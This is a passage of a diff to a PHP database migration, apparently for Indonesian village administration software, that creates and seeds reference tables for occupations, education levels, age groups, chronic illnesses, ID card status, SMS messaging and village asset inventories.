['id' => 37, 'nama' => 'TABIB'], + ['id' => 38, 'nama' => 'PARAJI'], + ['id' => 39, 'nama' => 'PERANCANG BUSANA'], + ['id' => 40, 'nama' => 'PENTERJEMAH'], + ['id' => 41, 'nama' => 'IMAM MASJID'], + ['id' => 42, 'nama' => 'PENDETA'], + ['id' => 43, 'nama' => 'PASTOR'], + ['id' => 44, 'nama' => 'WARTAWAN'], + ['id' => 45, 'nama' => 'USTADZ/MUBALIGH'], + ['id' => 46, 'nama' => 'JURU MASAK'], + ['id' => 47, 'nama' => 'PROMOTOR ACARA'], + ['id' => 48, 'nama' => 'ANGGOTA DPR-RI'], + ['id' => 49, 'nama' => 'ANGGOTA DPD'], + ['id' => 50, 'nama' => 'ANGGOTA BPK'], + ['id' => 51, 'nama' => 'PRESIDEN'], + ['id' => 52, 'nama' => 'WAKIL PRESIDEN'], + ['id' => 53, 'nama' => 'ANGGOTA MAHKAMAH KONSTITUSI'], + ['id' => 54, 'nama' => 'ANGGOTA KABINET KEMENTERIAN'], + ['id' => 55, 'nama' => 'DUTA BESAR'], + ['id' => 56, 'nama' => 'GUBERNUR'], + ['id' => 57, 'nama' => 'WAKIL GUBERNUR'], + ['id' => 58, 'nama' => 'BUPATI'], + ['id' => 59, 'nama' => 'WAKIL BUPATI'], + ['id' => 60, 'nama' => 'WALIKOTA'], + ['id' => 61, 'nama' => 'WAKIL WALIKOTA'], + ['id' => 62, 'nama' => 'ANGGOTA DPRD PROVINSI'], + ['id' => 63, 'nama' => 'ANGGOTA DPRD KABUPATEN/KOTA'], + ['id' => 64, 'nama' => 'DOSEN'], + ['id' => 65, 'nama' => 'GURU'], + ['id' => 66, 'nama' => 'PILOT'], + ['id' => 67, 'nama' => 'PENGACARA'], + ['id' => 68, 'nama' => 'NOTARIS'], + ['id' => 69, 'nama' => 'ARSITEK'], + ['id' => 70, 'nama' => 'AKUNTAN'], + ['id' => 71, 'nama' => 'KONSULTAN'], + ['id' => 72, 'nama' => 'DOKTER'], + ['id' => 73, 'nama' => 'BIDAN'], + ['id' => 74, 'nama' => 'PERAWAT'], + ['id' => 75, 'nama' => 'APOTEKER'], + ['id' => 76, 'nama' => 'PSIKIATER/PSIKOLOG'], + ['id' => 77, 'nama' => 'PENYIAR TELEVISI'], + ['id' => 78, 'nama' => 'PENYIAR RADIO'], + ['id' => 79, 'nama' => 'PELAUT'], + ['id' => 80, 'nama' => 'PENELITI'], + ['id' => 81, 'nama' => 'SOPIR'], + ['id' => 82, 'nama' => 'PIALANG'], + ['id' => 83, 'nama' => 'PARANORMAL'], + ['id' => 84, 'nama' => 'PEDAGANG'], + ['id' => 85, 'nama' => 'PERANGKAT DESA'], + ['id' => 86, 'nama' => 'KEPALA DESA'], + ['id' => 87, 'nama' => 'BIARAWATI'], + ['id' => 88, 'nama' => 'WIRASWASTA'], + ['id' => 89, 'nama' => 'LAINNYA'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_pendidikan` ( + `id` tinyint(3) NOT NULL AUTO_INCREMENT, + `nama` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_pendidikan')->insert([ + ['id' => 1, 'nama' => 'BELUM MASUK TK/KELOMPOK BERMAIN'], + ['id' => 2, 'nama' => 'SEDANG TK/KELOMPOK BERMAIN'], + ['id' => 3, 'nama' => 'TIDAK PERNAH SEKOLAH'], + ['id' => 4, 'nama' => 'SEDANG SD/SEDERAJAT'], + ['id' => 5, 'nama' => 'TIDAK TAMAT SD/SEDERAJAT'], + ['id' => 6, 'nama' => 'SEDANG SLTP/SEDERAJAT'], + ['id' => 7, 'nama' => 'SEDANG SLTA/SEDERAJAT'], + ['id' => 8, 'nama' => 'SEDANG D-1/SEDERAJAT'], + ['id' => 9, 'nama' => 'SEDANG D-2/SEDERAJAT'], + ['id' => 10, 'nama' => 'SEDANG D-3/SEDERAJAT'], + ['id' => 11, 'nama' => 'SEDANG S-1/SEDERAJAT'], + ['id' => 12, 'nama' => 'SEDANG S-2/SEDERAJAT'], + ['id' => 13, 'nama' => 'SEDANG S-3/SEDERAJAT'], + ['id' => 14, 'nama' => 'SEDANG SLB A/SEDERAJAT'], + ['id' => 15, 'nama' => 'SEDANG SLB B/SEDERAJAT'], + ['id' => 16, 'nama' => 'SEDANG SLB C/SEDERAJAT'], + [ + 'id' => 17, + 'nama' => 'TIDAK DAPAT MEMBACA DAN MENULIS HURUF LATIN/ARAB', + ], + ['id' => 18, 'nama' => 'TIDAK SEDANG SEKOLAH'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_pendidikan_kk` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_pendidikan_kk')->insert([ + ['id' => 1, 'nama' => 'TIDAK / BELUM SEKOLAH'], + ['id' => 2, 'nama' => 'BELUM TAMAT SD/SEDERAJAT'], + ['id' => 3, 'nama' => 'TAMAT SD / SEDERAJAT'], + ['id' => 4, 'nama' => 'SLTP/SEDERAJAT'], + ['id' => 5, 'nama' => 'SLTA / SEDERAJAT'], + ['id' => 6, 'nama' => 'DIPLOMA I / II'], + ['id' => 7, 'nama' => 'AKADEMI/ DIPLOMA III/S. MUDA'], + ['id' => 8, 'nama' => 'DIPLOMA IV/ STRATA I'], + ['id' => 9, 'nama' => 'STRATA II'], + ['id' => 10, 'nama' => 'STRATA III'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_sex` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(15) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_sex')->insert([ + ['id' => 1, 'nama' => 'LAKI-LAKI'], + ['id' => 2, 'nama' => 'PEREMPUAN'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_status` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(50) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_status')->insert([ + ['id' => 1, 'nama' => 'TETAP'], + ['id' => 2, 'nama' => 'TIDAK TETAP'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_umur` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(25) DEFAULT NULL, + `dari` int(11) DEFAULT NULL, + `sampai` int(11) DEFAULT NULL, + `status` int(11) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_umur')->insert([ + [ + 'id' => 1, + 'nama' => 'BALITA', + 'dari' => 0, + 'sampai' => 5, + 'status' => 0, + ], + [ + 'id' => 2, + 'nama' => 'ANAK-ANAK', + 'dari' => 6, + 'sampai' => 17, + 'status' => 0, + ], + [ + 'id' => 3, + 'nama' => 'DEWASA', + 'dari' => 18, + 'sampai' => 30, + 'status' => 0, + ], + [ + 'id' => 4, + 'nama' => 'TUA', + 'dari' => 31, + 'sampai' => 99999, + 'status' => 0, + ], + [ + 'id' => 6, + 'nama' => 'Di bawah 1 Tahun', + 'dari' => 0, + 'sampai' => 1, + 'status' => 1, + ], + [ + 'id' => 9, + 'nama' => '2 s/d 4 Tahun', + 'dari' => 2, + 'sampai' => 4, + 'status' => 1, + ], + [ + 'id' => 12, + 'nama' => '5 s/d 9 Tahun', + 'dari' => 5, + 'sampai' => 9, + 'status' => 1, + ], + [ + 'id' => 13, + 'nama' => '10 s/d 14 Tahun', + 'dari' => 10, + 'sampai' => 14, + 'status' => 1, + ], + [ + 'id' => 14, + 'nama' => '15 s/d 19 Tahun', + 'dari' => 15, + 'sampai' => 19, + 'status' => 1, + ], + [ + 'id' => 15, + 'nama' => '20 s/d 24 Tahun', + 'dari' => 20, + 'sampai' => 24, + 'status' => 1, + ], + [ + 'id' => 16, + 'nama' => '25 s/d 29 Tahun', + 'dari' => 25, + 'sampai' => 29, + 'status' => 1, + ], + [ + 'id' => 17, + 'nama' => '30 s/d 34 Tahun', + 'dari' => 30, + 'sampai' => 34, + 'status' => 1, + ], + [ + 'id' => 18, + 'nama' => '35 s/d 39 Tahun ', + 'dari' => 35, + 'sampai' => 39, + 'status' => 1, + ], + [ + 'id' => 19, + 'nama' => '40 s/d 44 Tahun', + 'dari' => 40, + 'sampai' => 44, + 'status' => 1, + ], + [ + 'id' => 20, + 'nama' => '45 s/d 49 Tahun', + 'dari' => 45, + 'sampai' => 49, + 'status' => 1, + ], + [ + 'id' => 21, + 'nama' => '50 s/d 54 Tahun', + 'dari' => 50, + 'sampai' => 54, + 'status' => 1, + ], + [ + 'id' => 22, + 'nama' => '55 s/d 59 Tahun', + 'dari' => 55, + 'sampai' => 59, + 'status' => 1, + ], + [ + 'id' => 23, + 'nama' => '60 s/d 64 Tahun', + 'dari' => 60, + 'sampai' => 64, + 'status' => 1, + ], + [ + 'id' => 24, + 'nama' => '65 s/d 69 Tahun', + 'dari' => 65, + 'sampai' => 69, + 'status' => 1, + ], + [ + 'id' => 25, + 'nama' => '70 s/d 74 Tahun', + 'dari' => 70, + 'sampai' => 74, + 'status' => 1, + ], + [ + 'id' => 26, + 'nama' => 'Di atas 75 Tahun', + 'dari' => 75, + 'sampai' => 99999, + 'status' => 1, + ], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_warganegara` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(25) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_warganegara')->insert([ + ['id' => 1, 'nama' => 'WNI'], + ['id' => 2, 'nama' => 'WNA'], + ['id' => 3, 'nama' => 'DUA KEWARGANEGARAAN'], + ]); + + DB::statement(' + CREATE TABLE `tweb_rtm` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nik_kepala` int(11) NOT NULL, + `no_kk` varchar(30) NOT NULL, + `tgl_daftar` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `kelas_sosial` int(11) DEFAULT NULL, + `bdt` varchar(16) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `no_kk` (`no_kk`), + UNIQUE KEY `no_kk_2` (`no_kk`) + ); + '); + + DB::statement(' + CREATE TABLE `tweb_rtm_hubungan` ( + `id` tinyint(4) NOT NULL AUTO_INCREMENT, + `nama` varchar(20) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_rtm_hubungan')->insert([ + ['id' => 1, 'nama' => 'Kepala Rumah Tangga'], + ['id' => 2, 'nama' => 'Anggota'], + ]); + + DB::statement(' + CREATE TABLE `tweb_sakit_menahun` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(255) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_sakit_menahun')->insert([ + ['id' => 1, 'nama' => 'JANTUNG'], + ['id' => 2, 'nama' => 'LEVER'], + ['id' => 3, 'nama' => 'PARU-PARU'], + ['id' => 4, 'nama' => 'KANKER'], + ['id' => 5, 'nama' => 'STROKE'], + ['id' => 6, 'nama' => 'DIABETES MELITUS'], + ['id' => 7, 'nama' => 'GINJAL'], + ['id' => 8, 'nama' => 'MALARIA'], + ['id' => 9, 'nama' => 'LEPRA/KUSTA'], + ['id' => 10, 'nama' => 'HIV/AIDS'], + ['id' => 11, 'nama' => 'GILA/STRESS'], + ['id' => 12, 'nama' => 'TBC'], + ['id' => 13, 'nama' => 'ASTHMA'], + ['id' => 14, 'nama' => 'TIDAK ADA/TIDAK SAKIT'], + ]); + + DB::statement(' + CREATE TABLE `tweb_status_dasar` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(50) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_status_dasar')->insert([ + ['id' => 1, 'nama' => 'HIDUP'], + ['id' => 2, 'nama' => 'MATI'], + ['id' => 3, 'nama' => 'PINDAH'], + ['id' => 4, 'nama' => 'HILANG'], + ['id' => 6, 'nama' => 'PERGI'], + ['id' => 9, 'nama' => 'TIDAK VALID'], + ]); + + DB::statement(' + CREATE TABLE `tweb_status_ktp` ( + `id` tinyint(5) NOT NULL AUTO_INCREMENT, + `nama` varchar(50) NOT NULL, + `ktp_el` tinyint(4) NOT NULL, + `status_rekam` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_status_ktp')->insert([ + [ + 'id' => 1, + 'nama' => 'BELUM REKAM', + 'ktp_el' => 1, + 'status_rekam' => '2', + ], + [ + 'id' => 2, + 'nama' => 'SUDAH REKAM', + 'ktp_el' => 2, + 'status_rekam' => '3', + ], + [ + 'id' => 3, + 'nama' => 'CARD PRINTED', + 'ktp_el' => 2, + 'status_rekam' => '4', + ], + [ + 'id' => 4, + 'nama' => 'PRINT READY RECORD', + 'ktp_el' => 2, + 'status_rekam' => '5', + ], + [ + 'id' => 5, + 'nama' => 'CARD SHIPPED', + 'ktp_el' => 2, + 'status_rekam' => '6', + ], + [ + 'id' => 6, + 'nama' => 'SENT FOR CARD PRINTING', + 'ktp_el' => 2, + 'status_rekam' => '7', + ], + [ + 'id' => 7, + 'nama' => 'CARD ISSUED', + 'ktp_el' => 2, + 'status_rekam' => '8', + ], + ]); + } + + private function tabel_dokumen() + { + DB::statement(" + CREATE TABLE `dokumen` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `satuan` varchar(200) DEFAULT NULL, + `nama` varchar(200) NOT NULL, + `enabled` int(2) NOT NULL DEFAULT 1, + `tgl_upload` timestamp NOT NULL DEFAULT current_timestamp(), + `id_pend` int(11) NOT NULL DEFAULT 0, + `kategori` tinyint(3) NOT NULL DEFAULT 1, + `attr` text NOT NULL, + `tahun` int(4) DEFAULT NULL, + `kategori_info_publik` tinyint(4) DEFAULT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `deleted` tinyint(1) NOT NULL DEFAULT 0, + `id_syarat` int(11) DEFAULT NULL, + `id_parent` int(11) DEFAULT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` varchar(16) DEFAULT NULL, + `updated_by` varchar(16) DEFAULT NULL, + `dok_warga` tinyint(1) DEFAULT 0, + `lokasi_arsip` varchar(150) DEFAULT '', + PRIMARY KEY (`id`) + ); + "); + + DB::statement(' + CREATE TABLE `ref_dokumen` ( + `id` int(5) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_dokumen')->insert([ + ['id' => 1, 'nama' => 'Informasi Publik'], + ['id' => 2, 'nama' => 'SK Kades'], + ['id' => 3, 'nama' => 'Perdes'], + ]); + } + + private function tabel_hubung_warga() + { + DB::statement(" + CREATE TABLE `inbox` ( + `UpdatedInDB` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `ReceivingDateTime` timestamp NOT NULL DEFAULT current_timestamp(), + `Text` text NOT NULL, + `SenderNumber` varchar(20) NOT NULL DEFAULT '', + `Coding` enum('Default_No_Compression','Unicode_No_Compression','8bit','Default_Compression','Unicode_Compression') NOT NULL DEFAULT 'Default_No_Compression', + `UDH` text NOT NULL, + `SMSCNumber` varchar(20) NOT NULL DEFAULT '', + `Class` int(11) NOT NULL DEFAULT -1, + `TextDecoded` text NOT NULL, + `ID` int(10) unsigned NOT NULL AUTO_INCREMENT, + `RecipientID` text NOT NULL, + `Processed` enum('false','true') NOT NULL DEFAULT 'false', + PRIMARY KEY (`ID`) + ); + "); + + DB::statement(' + CREATE TABLE `kontak_grup` ( + `id_grup` int(11) NOT NULL AUTO_INCREMENT, + `nama_grup` varchar(30) NOT NULL, + PRIMARY KEY (`id_grup`) + ); + '); + + DB::statement(" + CREATE TABLE `outbox` ( + `UpdatedInDB` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `InsertIntoDB` timestamp NOT NULL DEFAULT current_timestamp(), + `SendingDateTime` timestamp NOT NULL DEFAULT current_timestamp(), + `SendBefore` time NOT NULL DEFAULT '23:59:59', + `SendAfter` time NOT NULL DEFAULT '00:00:00', + `Text` text DEFAULT NULL, + `DestinationNumber` varchar(20) NOT NULL DEFAULT '', + `Coding` enum('Default_No_Compression','Unicode_No_Compression','8bit','Default_Compression','Unicode_Compression') NOT NULL DEFAULT 'Default_No_Compression', + `UDH` text DEFAULT NULL, + `Class` int(11) DEFAULT -1, + `TextDecoded` text NOT NULL, + `ID` int(10) unsigned NOT NULL AUTO_INCREMENT, + `MultiPart` enum('false','true') DEFAULT 'false', + `RelativeValidity` int(11) DEFAULT -1, + `SenderID` varchar(255) DEFAULT NULL, + `SendingTimeOut` timestamp NULL DEFAULT NULL, + `DeliveryReport` enum('default','yes','no') DEFAULT 'default', + `CreatorID` text DEFAULT NULL, + PRIMARY KEY (`ID`), + KEY `outbox_date` (`SendingDateTime`,`SendingTimeOut`), + KEY `outbox_sender` (`SenderID`) + ); + "); + + DB::statement(" + CREATE TABLE `sentitems` ( + `UpdatedInDB` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `InsertIntoDB` timestamp NOT NULL DEFAULT current_timestamp(), + `SendingDateTime` timestamp NOT NULL DEFAULT current_timestamp(), + `DeliveryDateTime` timestamp NULL DEFAULT NULL, + `Text` text NOT NULL, + `DestinationNumber` varchar(20) NOT NULL DEFAULT '', + `Coding` enum('Default_No_Compression','Unicode_No_Compression','8bit','Default_Compression','Unicode_Compression') NOT NULL DEFAULT 'Default_No_Compression', + `UDH` text NOT NULL, + `SMSCNumber` varchar(20) NOT NULL DEFAULT '', + `Class` int(11) NOT NULL DEFAULT -1, + `TextDecoded` text NOT NULL, + `ID` int(10) unsigned NOT NULL DEFAULT 0, + `SenderID` varchar(255) NOT NULL, + `SequencePosition` int(11) NOT NULL DEFAULT 1, + `Status` enum('SendingOK','SendingOKNoReport','SendingError','DeliveryOK','DeliveryFailed','DeliveryPending','DeliveryUnknown','Error') NOT NULL DEFAULT 'SendingOK', + `StatusError` int(11) NOT NULL DEFAULT -1, + `TPMR` int(11) NOT NULL DEFAULT -1, + `RelativeValidity` int(11) NOT NULL DEFAULT -1, + `CreatorID` text NOT NULL, + PRIMARY KEY (`ID`,`SequencePosition`), + KEY `sentitems_date` (`DeliveryDateTime`), + KEY `sentitems_tpmr` (`TPMR`), + KEY `sentitems_dest` (`DestinationNumber`), + KEY `sentitems_sender` (`SenderID`) + ); + "); + + DB::statement(' + CREATE TABLE `setting_sms` ( + `autoreply_text` varchar(160) DEFAULT NULL + ); + '); + + DB::table('setting_sms')->insert([ + ['autoreply_text' => 'Terima kasih pesan Anda telah kami terima.'], + ]); + } + + private function tabel_inventaris() + { + DB::statement(' + CREATE TABLE `inventaris_asset` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama_barang` varchar(255) NOT NULL, + `kode_barang` varchar(64) NOT NULL, + `register` varchar(64) NOT NULL, + `jenis` varchar(255) NOT NULL, + `judul_buku` varchar(255) DEFAULT NULL, + `spesifikasi_buku` varchar(255) DEFAULT NULL, + `asal_daerah` varchar(255) DEFAULT NULL, + `pencipta` varchar(255) DEFAULT NULL, + `bahan` varchar(255) DEFAULT NULL, + `jenis_hewan` varchar(255) DEFAULT NULL, + `ukuran_hewan` varchar(255) DEFAULT NULL, + `jenis_tumbuhan` varchar(255) DEFAULT NULL, + `ukuran_tumbuhan` varchar(255) DEFAULT NULL, + `jumlah` int(64) NOT NULL, + `tahun_pengadaan` year(4) NOT NULL, + `asal` varchar(255) NOT NULL, + `harga` double NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `status` int(1) NOT NULL DEFAULT 0, + `visible` int(1) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `inventaris_gedung` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama_barang` varchar(255) NOT NULL, + `kode_barang` varchar(64) NOT NULL, + `register` varchar(64) NOT NULL, + `kondisi_bangunan` varchar(255) NOT NULL, + `kontruksi_bertingkat` varchar(255) NOT NULL, + `kontruksi_beton` tinyint(1) DEFAULT 0, + `luas_bangunan` int(64) NOT NULL, + `letak` varchar(255) NOT NULL, + `tanggal_dokument` date DEFAULT NULL, + `no_dokument` varchar(255) DEFAULT NULL, + `luas` int(64) DEFAULT NULL, + `status_tanah` varchar(255) DEFAULT NULL, + `kode_tanah` varchar(255) DEFAULT NULL, + `asal` varchar(255) NOT NULL, + `harga` double NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `status` int(1) NOT NULL DEFAULT 0, + `visible` int(1) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `inventaris_jalan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama_barang` varchar(255) NOT NULL, + `kode_barang` varchar(64) NOT NULL, + `register` varchar(64) NOT NULL, + `kontruksi` varchar(255) NOT NULL, + `panjang` int(64) NOT NULL, + `lebar` int(64) NOT NULL, + `luas` int(64) NOT NULL, + `letak` text DEFAULT NULL, + `tanggal_dokument` date NOT NULL, + `no_dokument` varchar(255) DEFAULT NULL, + `status_tanah` varchar(255) DEFAULT NULL, + `kode_tanah` varchar(255) DEFAULT NULL, + `kondisi` varchar(255) NOT NULL, + `asal` varchar(255) NOT NULL, + `harga` double NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `status` int(1) NOT NULL DEFAULT 0, + `visible` int(1) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `inventaris_kontruksi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama_barang` varchar(255) NOT NULL, + `kondisi_bangunan` varchar(255) NOT NULL, + `kontruksi_bertingkat` varchar(255) NOT NULL, + `kontruksi_beton` tinyint(1) DEFAULT 0, + `luas_bangunan` int(64) NOT NULL, + `letak` varchar(255) NOT NULL, + `tanggal_dokument` date DEFAULT NULL, + `no_dokument` varchar(255) DEFAULT NULL, + `tanggal` date DEFAULT NULL, + `status_tanah` varchar(255) DEFAULT NULL, + `kode_tanah` varchar(255) DEFAULT NULL, + `asal` varchar(255) NOT NULL, + `harga` double NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `status` int(1) NOT NULL DEFAULT 0, + `visible` int(1) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `inventaris_peralatan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama_barang` varchar(255) NOT NULL, + `kode_barang` varchar(64) NOT NULL, + `register` varchar(64) NOT NULL, + `merk` varchar(255) DEFAULT NULL, + `ukuran` text DEFAULT NULL, + `bahan` text DEFAULT NULL, + `tahun_pengadaan` year(4) NOT NULL, + `no_pabrik` varchar(255) DEFAULT NULL, + `no_rangka` varchar(255) DEFAULT NULL, + `no_mesin` varchar(255) DEFAULT NULL, + `no_polisi` varchar(255) DEFAULT NULL, + `no_bpkb` varchar(255) DEFAULT NULL, + `asal` varchar(255) NOT NULL, + `harga` double NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `status` int(1) NOT NULL DEFAULT 0, + `visible` int(1) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `inventaris_tanah` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama_barang` varchar(255) NOT NULL, + `kode_barang` varchar(64) NOT NULL, + `register` varchar(64) NOT NULL, + `luas` int(64) NOT NULL, + `tahun_pengadaan` year(4) NOT NULL, + `letak` varchar(255) NOT NULL, + `hak` varchar(255) NOT NULL, + `no_sertifikat` varchar(255) DEFAULT NULL, + `tanggal_sertifikat` date DEFAULT NULL, + `penggunaan` varchar(255) NOT NULL, + `asal` varchar(255) NOT NULL, + `harga` double NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + `status` int(1) NOT NULL DEFAULT 0, + `visible` int(1) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `ref_asal_tanah_kas` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` text NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_asal_tanah_kas')->insert([ + ['id' => 1, 'nama' => 'Jual Beli'], + ['id' => 2, 'nama' => 'Hibah / Sumbangan'], + ['id' => 3, 'nama' => 'Lain - lain'], + ]); + + DB::statement(' + CREATE TABLE `ref_peruntukan_tanah_kas` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` text NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_peruntukan_tanah_kas')->insert([ + ['id' => 1, 'nama' => 'Sewa'], + ['id' => 2, 'nama' => 'Pinjam Pakai'], + ['id' => 3, 'nama' => 'Kerjasama Pemanfaatan'], + ['id' => 4, 'nama' => 'Bangun Guna Serah atau Bangun Serah Guna'], + ]); + + DB::statement(' + CREATE TABLE `tweb_aset` ( + `id_aset` int(11) NOT NULL, + `golongan` varchar(11) NOT NULL, + `bidang` varchar(11) NOT NULL, + `kelompok` varchar(11) NOT NULL, + `sub_kelompok` varchar(11) NOT NULL, + `sub_sub_kelompok` varchar(11) NOT NULL, + `nama` varchar(255) NOT NULL, + PRIMARY KEY (`id_aset`) + ); + '); + + DB::table('tweb_aset')->insert([ + [ + 'id_aset' => 1, + 'golongan' => '2', + 'bidang' => '00', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH', + ], + [ + 'id_aset' => 2, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH DESA', + ], + [ + 'id_aset' => 3, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH KAS DESA', + ], + [ + 'id_aset' => 4, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH BENGKOK', + ], + [ + 'id_aset' => 5, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH BENGKOK KEPALA DESA', + ], + [ + 'id_aset' => 6, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BENGKOK LAINNYA', + ], + [ + 'id_aset' => 7, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH BONDO', + ], + [ + 'id_aset' => 8, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH KALAKERAN NEGERI', + ], + [ + 'id_aset' => 9, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PECATU', + ], + [ + 'id_aset' => 10, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PENGAREM-AREM', + ], + [ + 'id_aset' => 11, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH TITISARA', + ], + [ + 'id_aset' => 12, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PERKAMPUNGAN', + ], + [ + 'id_aset' => 13, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PERKAMPUNGAN', + ], + [ + 'id_aset' => 14, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH PERKAMPUNGAN', + ], + [ + 'id_aset' => 15, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH PERKAMPUNGAN LAINNYA', + ], + [ + 'id_aset' => 16, + 'golongan' => '2', + 'bidang' => '01', + 